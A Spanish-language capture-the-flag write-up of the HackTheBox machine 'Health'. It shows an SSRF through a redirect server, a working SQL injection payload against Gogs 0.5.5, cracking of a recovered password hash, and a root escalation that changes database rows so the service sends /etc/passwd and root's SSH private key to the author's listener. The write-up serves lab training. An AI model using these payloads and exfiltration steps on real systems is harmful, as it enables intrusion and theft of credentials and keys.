This page looks best with JavaScript enabled

HackTheBox - Health

 •  ✍️ sckull

En Health descubrimos Gogs a traves de redirecciónes realizadas con Python, por el sitio web que expone una funcionalidad de monitoreo de servicios web. Mediante una inyeccion SQL obtuvimos credenciales para acceder por SSH. Finalmente escalamos privilegios por medio de artisan y la funcionalidad del sitio web.

Nombre Health box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.176
Maker

irogir

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6, 5.3, 5.3, 4.7, 4.7],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.92 scan initiated Sat Sep 10 00:43:16 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.176
Nmap scan report for 10.10.11.176 (10.10.11.176)
Host is up (0.064s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 32:b7:f4:d4:2f:45:d3:30:ee:12:3b:03:67:bb:e6:31 (RSA)
|   256 86:e1:5d:8c:29:39:ac:d7:e8:15:e6:49:e2:35:ed:0c (ECDSA)
|_  256 ef:6b:ad:64:d5:e4:5b:3e:66:79:49:f4:ec:4c:23:9f (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HTTP Monitoring Tool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 10 00:43:28 2022 -- 1 IP address (1 host up) scanned in 12.30 seconds

Web Site

El sitio web presenta un formulario el cual se describe como una utilidad que permite verificar si un sitio web esta disponible. En el formulario es posible ingresar un intervalo en el cual se ejecuta el “webhook”, en este se vincula el sitio crontab.guru, tomando como intervalo la sintaxis de un cronjob.

image

Directory Brute Forcing

feroxbuster no muestra alguna otra direccion por la cual podamos observar codigo fuente o comportamiento del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 π ~/htb/health ❯ feroxbuster -u http://10.10.11.176/ --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.176/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      309c http://10.10.11.176/js
301        9l       28w      310c http://10.10.11.176/css
301        9l       28w      317c http://10.10.11.176/javascript
403        9l       28w      277c http://10.10.11.176/server-status

WebHook

Creamos un webhook con un intervalo de 1 minuto, ingresamos distintas url y puertos, en Payload y Monitored URL.

image

Por otro lado ejecutamos netcat en los puertos ya configurados en el webhook. Tras un momento obtuvimos una solicitud POST con información en formato Json en la url del payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/health ❯ nc -lvp 8080
listening on [any] 8080 ...
connect to [10.10.14.207] from 10.10.11.176 [10.10.11.176] 40290
POST / HTTP/1.1
Host: 10.10.14.207:8080
Accept: */*
Content-type: application/json
Content-Length: 103

{"webhookUrl":"http:\/\/10.10.14.207:8080","monitoredUrl":"http:\/\/10.10.14.207:9090","health":"down"}

En el puerto 9090 de Monitored URL obtuvimos una solicitud GET.

1
2
3
4
5
6
 π ~/htb/health ❯ nc -lvp 9090
listening on [any] 9090 ...
connect to [10.10.14.207] from 10.10.11.176 [10.10.11.176] 40384
GET / HTTP/1.0
Host: 10.10.14.207:9090
Connection: close

Con ello podemos decir que el payload obtiene información de si la direccion en Monitored URL está disponible como lo describe el sitio y la envia a la url de payload en formato json.

Intentamos ingresar direcciones locales y archivos locales pero no es posible, nos muestra un mensaje de error. Seguramente existe un filtro para unicamente direcciónes url.

image

Redirect

Con Python intentamos crear una redirección, tambien agregamos codigo para obtener la información de las solicitudes POST. Tras agregar la direccion de localhost obtuvimos el body del sitio web, este parece ser el sitio web del webhook con ello sabemos que la redirección si funciona.

1
2
3
4
5
6
7
 π ~/htb/health/www ❯ sudo python3 script.py
HTTP server running on port 80
10.10.11.176 - - [05/Sep/2022 01:23:05] "GET / HTTP/1.0" 307 -
10.10.11.176 - - [05/Sep/2022 01:23:06] "POST / HTTP/1.1" 200 -
b'{"webhookUrl":"http:\\/\\/10.10.14.207","monitoredUrl":"http:\\/\\/10.10.14.207","health":"up","body":"<!DOCTYPE html>\\n<html lang=\\"en\\">\\n<head>\\n    <meta charset=\\"UTF-8\\">\\n    <meta name=\\"viewport\\" content=\\"width=device-width, initial-scale=1.0\\">\\n    <meta http-equiv=\\"X-UA-Compatible\\" content=\\"ie=edge\\">\\n    <title>HTTP Monitoring Tool<\\/title>\\n    <link href=\\"http:\\/\\/127.0.0.1\\/css\\/app.css\\" rel=\\"stylesheet\\" type=\\"text\\/css\\"\\/>\\n<\\/head>\\n<body>\\n<div class=\\"container\\">\\n        <div class=\\"container\\" style=\\"padding: 150px\\">\\n\\n\\t<h1 class=\\"text-center\\">health.htb<\\/h1>\\n\\t<h4 class=\\"text-center\\">Simple health checks for any URL<\\/h4>\\n\\n\\t<hr>\\n\\n\\n\\n\\n\\t<p>This is a free utility that allows you to remotely check whether an http service is available. It is useful if you want to check whether the server is correctly running or if there are any firewall issues blocking access.<\\/p>\\n\\n\\t<div class=\\"card-header\\">\\n\\t    Configure Webhook\\n\\t<\\/div>\\n\\n\\n\\t\\n\\t\\n\\t\\n\\t<div class=\\"mx-auto\\" style=\\"width: 700px; padding: 20px 0 70px 0\\">\\n\\t    <form method=\\"post\\" action=\\"http:\\/\\/127.0.0.1\\/webhook\\">\\n\\t\\t<input type=\\"hidden\\" name=\\"_token\\" value=\\"zKd11gsTX2jhuPuDWS1ZVdEa1XauOHNoZhKPhkg5\\">\\n\\t\\t<div class=\\"pt-2 form-group\\">\\n\\t\\t    <label for=\\"webhookUrl\\">Payload URL:<\\/label>\\n\\t\\t    <input type=\\"text\\" class=\\"form-control\\" name=\\"webhookUrl\\"\\n\\t\\t\\t   placeholder=\\"http:\\/\\/example.com\\/postreceive\\"\\/>\\n\\t\\t<\\/div>\\n\\n\\t\\t<div class=\\"pt-2 form-group\\">\\n\\t\\t    <label for=\\"monitoredUrl\\">Monitored URL:<\\/label>\\n\\t\\t    <input type=\\"text\\" class=\\"form-control\\" name=\\"monitoredUrl\\" placeholder=\\"http:\\/\\/example.com\\"\\/>\\n\\t\\t<\\/div>\\n\\n\\t\\t<div class=\\"pt-2 form-group\\">\\n\\t\\t    <label for=\\"frequency\\">Interval:<\\/label>\\n\\t\\t    <input type=\\"text\\" class=\\"form-control\\" name=\\"frequency\\" placeholder=\\"*\\/5 * * * *\\"\\/>\\n\\t\\t    <small class=\\"form-text text-muted\\">Please make use of cron syntax, see <a\\n\\t\\t\\t    href=\\"https:\\/\\/crontab.guru\\/\\">here<\\/a> for reference.<\\/small>\\n\\t\\t<\\/div>\\n\\n\\t\\t<p class=\\"pt-3\\">Under what circumstances should the webhook be sent?<\\/p>\\n\\n\\t\\t<select class=\\"form-select\\" name=\\"onlyError\\">\\n\\t\\t    <option value=\\"1\\" selected>Only when Service is not available<\\/option>\\n\\t\\t    
 [.. snip ...]
 <!-- Links -->\\n                    <h6 class=\\"text-uppercase fw-bold mb-4\\">\\n                        Contact\\n                    <\\/h6>\\n                    <p><i class=\\"fas fa-home me-3\\"><\\/i> New York, NY 10012, US<\\/p>\\n                    <p>\\n                        <i class=\\"fas fa-envelope me-3\\"><\\/i>\\n                        contact@health.htb\\n                    <\\/p>\\n                    <p><i class=\\"fas fa-phone me-3\\"><\\/i> + 01 234 567 88<\\/p>\\n                    <p><i class=\\"fas fa-print me-3\\"><\\/i> + 01 234 567 89<\\/p>\\n                <\\/div>\\n                <!-- Grid column -->\\n            <\\/div>\\n            <!-- Grid row -->\\n        <\\/div>\\n    <\\/section>\\n    <!-- Section: Links  -->\\n\\n    <!-- Copyright -->\\n    <div class=\\"text-center p-4\\" style=\\"background-color: rgba(0, 0, 0, 0.05);\\">\\n        \\u00a9 2014 Copyright:\\n        <a class=\\"text-reset fw-bold\\" href=\\"http:\\/\\/health.htb\\">health.htb<\\/a>\\n    <\\/div>\\n    <!-- Copyright -->\\n<\\/footer>\\n<!-- Footer -->\\n\\n<\\/body>\\n<\\/html>\\n","message":"HTTP\\/1.0 307 Temporary Redirect","headers":{"Server":"Apache\\/2.4.29 (Ubuntu)","Date":"Sat, 10 Sep 2022 01:23:15 GMT","Location":"http:\\/\\/127.0.0.1","Cache-Control":"private, must-revalidate","pragma":"no-cache","expires":"-1","Set-Cookie":"laravel_session=eyJpdiI6ImhMK21VSlJQNkFUU1g0Mi9DalFTZlE9PSIsInZhbHVlIjoiektXNGhLNVlHdGdBOHUyL1dVOENscDlRWXZSeXR6aFREYlcwU0FIL0tFTG4va25JU0lwYXFVY1U5RDB4MzFveWw0YWhGUy8vKzNnRDhOd2hZd3loNVNlaUM0M0tkcUt1MFdMUmREcks2WDlsZnBxZDRySmtBd0RIdU9DMlR4TlYiLCJtYWMiOiI5ZDU0MGU4YTIyYWJmYmEwZmZkNTMxOGQ5ODdjZTU3Y2VjYzFkMmQxYTYzMzEwZGNhZTMxMjg5ZWYyMTU5NjYwIiwidGFnIjoiIn0%3D; expires=Sat, 10-Sep-2022 03:23:15 GMT; Max-Age=7200; path=\\/; httponly; samesite=lax","Vary":"Accept-Encoding","Content-Length":"7341","Connection":"close","Content-Type":"text\\/html; charset=UTF-8"}}'

Script en Python: server.py

Refs. 1, 2, 3

Al no encontrar más información en el puerto 80 nuevamente volvimos a ejecutar un escaneo de puertos, esta vez observamos el puerto 3000 como filtrado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/health ❯ sudo nmap -Pn -sS 10.10.11.176 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-10 01:35 CST
Nmap scan report for 10.10.11.176 (10.10.11.176)
Host is up (0.087s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
3000/tcp filtered ppp

Nmap done: 1 IP address (1 host up) scanned in 3.85 seconds
 π ~/htb/health ❯

Agregamos la direccion de localhost al puerto 3000, obtuvimos el cuerpo o html del sitio, observamos que es una version de Gogs de 2014.

1
2
3
4
5
[.. snip ..]
<meta name="description" content="Gogs(Go Git Service) a painless self-hosted Git Service written in Go" />
[.. snip ..]
<p class="left" id="footer-rights"2014 GoGits · Version: 0.5.5.1010 Beta · Page: <strong>1ms</strong> 
[.. snip ..]

Gogs - SQLi

Tras observar las versiones de Gogs en su repositorio observamos que en la version siguiente (v0.5.8) se repararon tres vulnerabilidades. Una de ellas se muestra en exploitDB como SQL Injection. Sin embargo tras intentar los distintos payloads no obtuvimos ninguna respuesta similar al del PoC. Unicamente una estructura json sin información o ninguna estructura.

1
{"data":[],"ok":true}

Es por ello que ejecutamos localmente la version de Gogs v0.5.5 vulnerable para identificar un nuevo payload que nos permita obtener información. Logramos identificar que posiblemente no esté utilizando MySQL si no, SQLite, ya que tras la configuración de gogs es la primera opcion recomendada, tras utilizar Payloads de SQLite logramos obtener la version de este localmente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
sckull@vivid:~/tmp/gogs$ curl -s "http://127.0.0.1:3000/api/v1/users/search?q=%27)/**/union/**/all/**/select/**/null,null,sqlite_version(),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/user/**/where/**/(%27%25%27%3D%27" | jq
{
  "data": [
    {
      "username": "admins",
      "avatar": "//1.gravatar.com/avatar/e6d67fed862c439aa6e911ce49c7857d"
    },
    {
      "username": "3.8.5",
      "avatar": "//1.gravatar.com/avatar/"
    }
  ],
  "ok": true
}
sckull@vivid:~/tmp/gogs$

Modificamos la redirección del script enviando el payload encontrado, logramos obtener la version de SQLite: 3.8.5, tambien observamos el nombre de usuario susanne.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
   "data":[
      {
         "username":"susanne",
         "avatar":"//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce"
      },
      {
         "username":"3.8.5",
         "avatar":"//1.gravatar.com/avatar/"
      }
   ],
   "ok":true
}

Descubrimos quen en la tabla user (localmente) existe una columna que contiene el hash de la contraseña de los usuarios.

1
2
3
4
5
6
7
8
9
sqlite> .schema user
CREATE TABLE `user` (`id` INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, `lower_name` TEXT NOT NULL, `name` TEXT NOT NULL, `full_name` TEXT NULL, `email` TEXT NOT NULL, `passwd` TEXT NOT NULL, `login_type` INTEGER NULL, `login_source` INTEGER NOT NULL DEFAULT 0, `login_name` TEXT NULL, `type` INTEGER NULL, `num_followers` INTEGER NULL, `num_followings` INTEGER NULL, `num_stars` INTEGER NULL, `num_repos` INTEGER NULL, `avatar` TEXT NOT NULL, `avatar_email` TEXT NOT NULL, `location` TEXT NULL, `website` TEXT NULL, `is_active` INTEGER NULL, `is_admin` INTEGER NULL, `rands` TEXT NULL, `salt` TEXT NULL, `created` NUMERIC NULL, `updated` NUMERIC NULL, `description` TEXT NULL, `num_teams` INTEGER NULL, `num_members` INTEGER NULL);
CREATE UNIQUE INDEX `UQE_user_name` ON `user` (`name`);
CREATE UNIQUE INDEX `UQE_user_email` ON `user` (`email`);
CREATE UNIQUE INDEX `UQE_user_lower_name` ON `user` (`lower_name`);
sqlite> select * from user
   ...> ;
1|admins|admins||admin@localhost.com|1d3194f62a92992c2070df763a652968e11f46c5e1e08779d24df4331c8c1e2ba51e884302b7868664ac9d0da39a22595342|0|0||0|0|0|0|0|e6d67fed862c439aa6e911ce49c7857d|admin@localhost.com|||1|1|wtc2Dm1Avt|1K5zhdeEj9|2022-09-05 16:37:38|2022-09-05 16:37:38||0|0
sqlite>

Password Hash Cracking

Tras investigar, segun un Issue de Github es posible crackear el hash tras “crear” el hash sha256 con los valores en la base de datos. Obtuvimos los valores de las columnas: passwd y salt.

1
2
passwd => 66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37
salt   => sO3XIbeW14

Convertimos estos valores segun como lo indica el comentario del Issue.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# formato
sha256:10000:base64(salt):pack(base64(hash))

# hash (passwd)
# perl -e 'print pack ("H*", "66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37")' | base64
hash: 66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37 ==> ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=

# salt
# echo -n sO3XIbeW14 | base64
salt: sO3XIbeW14 ==> c08zWEliZVcxNA==


# final hash
sha256:10000:c08zWEliZVcxNA==:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=

Utilizamos hashcat con el wordlist rockyou, tras unos segundos obtuvimos el valor del hash.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 π ~/htb/health ❯ hashcat -m 10900 --force hash_gogs $ROCK --force 
hashcat (v6.1.1) starting...

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i5-8250U CPU @ 1.60GHz, 2857/2921 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 65 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

sha256:10000:c08zWEliZVcxNA==:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: PBKDF2-HMAC-SHA256
Hash.Target......: sha256:10000:c08zWEliZVcxNA==:ZsB0ZFVFeB8QZPt/0Rd0U...9O/jc=
Time.Started.....: Mon Sep  5 17:40:50 2022, (22 secs)
Time.Estimated...: Mon Sep  5 17:41:12 2022, (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     3230 H/s (7.72ms) @ Accel:256 Loops:256 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 71680/14344385 (0.50%)
Rejected.........: 0/71680 (0.00%)
Restore.Point....: 70656/14344385 (0.49%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:9984-9999
Candidates.#1....: jordan28 -> 280282

Started: Mon Sep  5 17:39:53 2022
Stopped: Mon Sep  5 17:41:13 2022
 π ~/htb/health ❯

User - Susanne

Utilizamos el usuario y contraseña que obtuvimos de Gogs, por SSH, logrando obtener una shell y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 π ~/htb/health ❯ ssh susanne@10.10.11.176 # february15
susanne@10.10.11.176's password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-191-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Sep  5 23:42:19 UTC 2022

  System load:  0.0               Processes:           179
  Usage of /:   67.8% of 3.84GB   Users logged in:     1
  Memory usage: 12%               IP address for eth0: 10.10.11.176
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Sep  5 22:04:15 2022 from 10.10.14.172
susanne@health:~$ whoami;id;pwd
susanne
uid=1000(susanne) gid=1000(susanne) groups=1000(susanne)
/home/susanne
susanne@health:~$ ls
user.txt
susanne@health:~$ cat user.txt
0397ddfadaa8ac6458fcf7db646b5ccf
susanne@health:~$

Privesc

Tras ejecutar pspy observamos un cronjob que ejecuta como root artisan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
2022/09/06 00:26:01 CMD: UID=0    PID=22324  | /bin/bash -c sleep 5 && /root/meta/clean.sh 
2022/09/06 00:26:01 CMD: UID=0    PID=22323  | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1 
2022/09/06 00:26:01 CMD: UID=0    PID=22322  | /usr/sbin/CRON -f 
2022/09/06 00:26:01 CMD: UID=0    PID=22321  | /usr/sbin/CRON -f 
2022/09/06 00:26:01 CMD: UID=0    PID=22326  | sleep 5 
2022/09/06 00:26:01 CMD: UID=0    PID=22325  | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1 
2022/09/06 00:26:01 CMD: UID=0    PID=22329  | grep columns 
2022/09/06 00:26:01 CMD: UID=0    PID=22328  | stty -a 
2022/09/06 00:26:01 CMD: UID=0    PID=22327  | sh -c stty -a | grep columns 
2022/09/06 00:26:01 CMD: UID=0    PID=22332  | grep columns 
2022/09/06 00:26:01 CMD: UID=0    PID=22330  | sh -c stty -a | grep columns 
2022/09/06 00:26:06 CMD: UID=0    PID=22333  | mysql laravel --execute TRUNCATE tasks 

Si observamos los “cronjobs” de artisan no se muestra ninguno.

1
2
3
4
5
susanne@health:/var/www/html$ php artisan schedule:list
+---------+----------+-------------+----------+
| Command | Interval | Description | Next Due |
+---------+----------+-------------+----------+
susanne@health:/var/www/html$

Si intentamos crear un cronjob o webhook desde la página este se agrega a la lista, y el cronjob seguramente lo ejecuta como root.

1
2
3
4
5
6
7
susanne@health:/var/www/html$ php artisan schedule:list
+---------+-------------+-------------+----------------------------+
| Command | Interval    | Description | Next Due                   |
+---------+-------------+-------------+----------------------------+
|         | */1 * * * * |             | 2022-09-06 00:50:00 +00:00 |
+---------+-------------+-------------+----------------------------+
susanne@health:/var/www/html$

Como sabemos el webhook no acepta ningun tipo de archivo o alguna dirección local, sin embargo observamos las credenciales de la base de datos en el archivo .env del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
susanne@health:/var/www/html$ cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:x12LE6h+TU6x4gNKZIyBOmthalsPLPLv/Bf/MJfGbzY=
APP_DEBUG=true
APP_URL=http://localhost

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+

[.. snip ..]
susanne@health:/var/www/html$ 

Tras ingresar a la base de datos, descubrimos los datos de los webhook en la tabla tasks.

1
2
3
4
5
6
7
8
9
mysql> select * from tasks;
+--------------------------------------+---------------------+-----------+---------------------+-------------+---------------------+---------------------+
| id                                   | webhookUrl          | onlyError | monitoredUrl        | frequency   | created_at          | updated_at          |
+--------------------------------------+---------------------+-----------+---------------------+-------------+---------------------+---------------------+
| 623acc92-93b0-4b95-968f-3209b83bda62 | http://10.10.14.207 |         1 | http://10.10.14.207 | */1 * * * * | 2022-09-06 00:50:50 | 2022-09-06 00:50:50 |
+--------------------------------------+---------------------+-----------+---------------------+-------------+---------------------+---------------------+
1 row in set (0.00 sec)

mysql>

Creamos un weebhook e intentamos cambiar la url de la columna monitoredUrl para obtener el archivo /etc/passwd, en este caso la de todos los webhooks disponibles.

1
2
3
4
5
mysql> update tasks set monitoredUrl = 'file:///etc/passwd';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql>

Tras realizar este cambio observamos el contenido en nuestro servidor python.

1
2
10.10.11.176 - - [05/Sep/2022 19:13:03] "POST / HTTP/1.1" 200 -
b'{"webhookUrl":"http:\\/\\/10.10.14.207","monitoredUrl":"file:\\/\\/\\/etc\\/passwd","health":"up","body":"root:x:0:0:root:\\/root:\\/bin\\/bash\\ndaemon:x:1:1:daemon:\\/usr\\/sbin:\\/usr\\/sbin\\/nologin\\nbin:x:2:2:bin:\\/bin:\\/usr\\/sbin\\/nologin\\nsys:x:3:3:sys:\\/dev:\\/usr\\/sbin\\/nologin\\nsync:x:4:65534:sync:\\/bin:\\/bin\\/sync\\ngames:x:5:60:games:\\/usr\\/games:\\/usr\\/sbin\\/nologin\\nman:x:6:12:man:\\/var\\/cache\\/man:\\/usr\\/sbin\\/nologin\\nlp:x:7:7:lp:\\/var\\/spool\\/lpd:\\/usr\\/sbin\\/nologin\\nmail:x:8:8:mail:\\/var\\/mail:\\/usr\\/sbin\\/nologin\\nnews:x:9:9:news:\\/var\\/spool\\/news:\\/usr\\/sbin\\/nologin\\nuucp:x:10:10:uucp:\\/var\\/spool\\/uucp:\\/usr\\/sbin\\/nologin\\nproxy:x:13:13:proxy:\\/bin:\\/usr\\/sbin\\/nologin\\nwww-data:x:33:33:www-data:\\/var\\/www:\\/usr\\/sbin\\/nologin\\nbackup:x:34:34:backup:\\/var\\/backups:\\/usr\\/sbin\\/nologin\\nlist:x:38:38:Mailing List Manager:\\/var\\/list:\\/usr\\/sbin\\/nologin\\nirc:x:39:39:ircd:\\/var\\/run\\/ircd:\\/usr\\/sbin\\/nologin\\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\\/var\\/lib\\/gnats:\\/usr\\/sbin\\/nologin\\nnobody:x:65534:65534:nobody:\\/nonexistent:\\/usr\\/sbin\\/nologin\\nsystemd-network:x:100:102:systemd Network Management,,,:\\/run\\/systemd\\/netif:\\/usr\\/sbin\\/nologin\\nsystemd-resolve:x:101:103:systemd Resolver,,,:\\/run\\/systemd\\/resolve:\\/usr\\/sbin\\/nologin\\nsyslog:x:102:106::\\/home\\/syslog:\\/usr\\/sbin\\/nologin\\nmessagebus:x:103:107::\\/nonexistent:\\/usr\\/sbin\\/nologin\\n_apt:x:104:65534::\\/nonexistent:\\/usr\\/sbin\\/nologin\\nlxd:x:105:65534::\\/var\\/lib\\/lxd\\/:\\/bin\\/false\\nuuidd:x:106:110::\\/run\\/uuidd:\\/usr\\/sbin\\/nologin\\ndnsmasq:x:107:65534:dnsmasq,,,:\\/var\\/lib\\/misc:\\/usr\\/sbin\\/nologin\\nlandscape:x:108:112::\\/var\\/lib\\/landscape:\\/usr\\/sbin\\/nologin\\npollinate:x:109:1::\\/var\\/cache\\/pollinate:\\/bin\\/false\\nsshd:x:110:65534::\\/run\\/sshd:\\/usr\\/sbin\\/nologin\\nsusanne:x:1000:1000:susanne:\\/home\\/susanne:\\/bin\\/bash\\ngogs:x:1001:1001::\\/home\\/gogs:\\/bin\\/bash\\nmysql:x:111:114:MySQL Server,,,:\\/nonexistent:\\/bin\\/false\\n"}'

Shell

Cambiamos la dirección esta vez a la clave privada SSH del usuario root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
mysql> update tasks set monitoredUrl = 'file:///root/.ssh/id_rsa';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from tasks;
+--------------------------------------+---------------------+-----------+--------------------------+-------------+---------------------+---------------------+
| id                                   | webhookUrl          | onlyError | monitoredUrl             | frequency   | created_at          | updated_at          |
+--------------------------------------+---------------------+-----------+--------------------------+-------------+---------------------+---------------------+
| c7f1c2cc-cd14-4391-a622-70bd40dcbfac | http://10.10.14.207 |         0 | file:///root/.ssh/id_rsa | */1 * * * * | 2022-09-06 01:15:10 | 2022-09-06 01:15:10 |
+--------------------------------------+---------------------+-----------+--------------------------+-------------+---------------------+---------------------+
1 row in set (0.00 sec)

mysql>

Observamos la clave en la solicitud POST.

1
2
10.10.11.176 - - [05/Sep/2022 19:16:04] "POST / HTTP/1.1" 200 -
